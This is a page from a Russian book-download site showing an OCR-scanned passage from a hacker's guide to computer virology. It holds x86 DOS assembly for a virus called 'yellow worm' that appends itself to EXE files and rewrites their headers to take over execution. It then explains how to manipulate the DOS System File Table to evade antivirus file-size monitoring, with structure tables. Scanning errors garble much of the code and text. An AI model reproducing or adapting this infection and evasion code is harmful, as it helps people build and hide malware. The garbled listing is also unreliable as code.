Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 54 55 56 57 58 59 < 60 > 61 62 63 64 65 66 .. 123 >> Следующая

mov dx.WORD PTR [FSIZE]
or dl.OFH
add dx,1
adc cx,0
mov WORD PTR [FSIZE+2],cx mov WORD PTR [FSIZE],dx
mov ax,4200H {устанавливаем указатель файла •.относительно начала
941
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
int 21Н ; переходим к концу файла + граница
mov сх,OFFSET END_WORM последний байт кода xor dx.dx ;пераый байт
кода, ds:dx
mov ah,40H ;пишем тело вируса в файл
int 21Н

mov dx.WORD PTR [FSIZE] ;находим перемещения в коде mov cx.WORD PTR
[FSIZE+2] оригинальный конец файла add dx.OFFSET HOSTS ; + офсет HOSTS
adc cx,0 ;cx:dx = числу
movax,4200H устанавливаем указатель файла на 1-е перемещение int 21Н
mov dx.OFFSET EXE_HDR+14 ;получаем правильные ss:sp, cs:ip жертвы
mov cx,10
mov ah,40H ;записываем их в HOSTS/HOSTC
int 21H
xor cx,cx ;подстраиваем значения ЕХЕ-заголовка xor dx,dx
mov ax,4200H устанавливаем указатель файла на начало файла int 21Н
mov ax,WDRD PTR [FSIZE] .расчет первоначального cs вируса mov dx,WORD PTR
IPSIZE+2];=размер файла/16 - размер ; заголовка(Рага)
mov сх,16
div cx ;dx:ax содержат размер файла / 16 sub ax,WORD PTR [EXE_HDR+8]
;вычитаем размер ЕХЕ-загаловка ; (в параграфах)
232
ГЛАВА 5. Инфекция ЕХЕ-файлов
mov WORD PTR [EXE_HDR+22],ax сохраняем как
первоначальный cs
mov WORD PTR [EXE_HDR+14],ax сохраняем как
первоначальный ss
mov WORD PTR [EXE_HDR+20],OFFSETYELLOW.WORM сохраняем
первоначальный ip
mov WORD PTR [EXE_HDR+16] .OFFSET END_WORM + STACKSIZE ;
сохраняем первоначальный sp
mov dx.WORD PTR [FSIZE+2] ;расчет размера нового файла
;для заголовка
mov ax.WORD PTR [FSIZE] ;получаем оригинальный размер add
ax,OFFSETENDJAORM + 200H добавляем размер вируса, 512
;байтов
adc dx.O
mov сх,200Н ;делим на размер параграфа
div сх ;ах=парафафы, бх=размер последнего параграфа
mov WORD PTR [EXE_HDR+4],ax сохраняем параграфы здесь
movWORD PTR [EXE_HDR+2],dx ;размер последнего параграфа зд есь
mov сх,1СН сохраняем 1СН байтов заголовка
mov dx,OFFSET EXE_HDR ;в начале файла
mov ah,40H
int 21H
mov ah,3EH докрываем файл
int 21H
ret ;все, инфекция завершена!
END_WORM: ;метка конца yellow worm
VSEG ENDS
END YELLOW_WORM
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Использование таблиц системного файла
Очень мощной (хотя и редко используемой) техникой Искусства является
использование, таблицы системного файла - внутренней DOS-структуры,
сходной в некоторых отношениях с FCB, но более сильной. SFT (System File
Table - таблица системного файла) содержит критически важную информацию о
состоянии открытого файла, включая локацию текущего указателя, режим
открытия и размер файла. Манипуляция SFT может заменить вызовы к
соответствующим службам DOS-прерываний и при соче: тании с другими
техниками ослабить эффективность авировского мониторинга за размером
файлов.
Каждый открытый, файл имеет соответствующую таблицу системного файла.
Следующие таблицы взяты из списка прерываний Ральфа Брауна.
Табл. Э.Таблицы SFT (для DOS 2.x)
Офсет Размер Описание
00h DWORD Указатель к таблице следующего файла.
04h WORD Количество файлов в этой таблице.
06h 28h байт на файл
00h BYTE Количество индексов файлов, которые ссылаются на этот файл
Olh BYTE Режим открытия файла (см. AH=3Dh)
02h BYTE Атрибут файла
03h BYTE Диск (0=символ устройства, 1=А, 2=В и т.д.)
04h 11 байт Имя файла в формате FCB (без пути и периода)
OFh WORD ???
llh WORD ???
13h DWORD Размер файла
17h WORD Дата файла в запакованном формате (см. AX=5700h)
I9h WORD Время файла в запакованном формате (см. AX=5700h)
lBh BYTE Атрибут устройства (см. AX=4400h)
ICh WORD Начальный кластер файла
lEh WORD Относительный кластер в файле последнего доступного кластера
20h WORD Абсолютный номер текущего кластера
22h WORD ???
24h DWORD Позиция текущего кластера
234
ГЛАВА 5. Инфекция ЕХЕ-файлов
Табл. 10. Формат таблиц системного файла и таблиц FCB для DOS 3.x
Офсет Размер Описание
OOh DWORD Указатель к таблице следующего файла.
04h WORD Количество файлов в этой таблице.
06h 35h байтов на файл
OOh WORD Количество индексов файлов, которые ссылаются на этот файл
02h WORD Режим открытия файла (см. AH=3Dh); 15-й бит установлен, если
этот файл открыт с помощью FCB
04h BYTE Атрибут файла
05h WORD Info об устройстве (see AX=4400h)
07h DWORD Указатель на заголовок драйвера устройства, если символ
устройства иной, чем указатель на DOS DPB (Drive Parameter Block - блок
параметров диска [см. AH=32h]
OBh WORD Начальный кластер файла
ODh WORD Время файла в запакованном формате (см. AX=5700h)
OFh WORD Дата файла в запакованном формате (см. AX=5700h)
1 Ih DWORD Размер файла
15h DWORD Текущий офсет в файле
19h WORD Относительный кластер в файле последнего доступного кластера
IBh WORD Абсолютный номер последнего кластера, доступного в OOOOh, если
файл никогда не читается и не записывается
IDh WORD Номер сектора, содержащего директорную строку
1 Fh BYTE Номер директорной троки в секторе (офсет байта/32)
20h 11 байтов Имя файла в формате FCB (без пути и периода)
235
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Предыдущая << 1 .. 54 55 56 57 58 59 < 60 > 61 62 63 64 65 66 .. 123 >> Следующая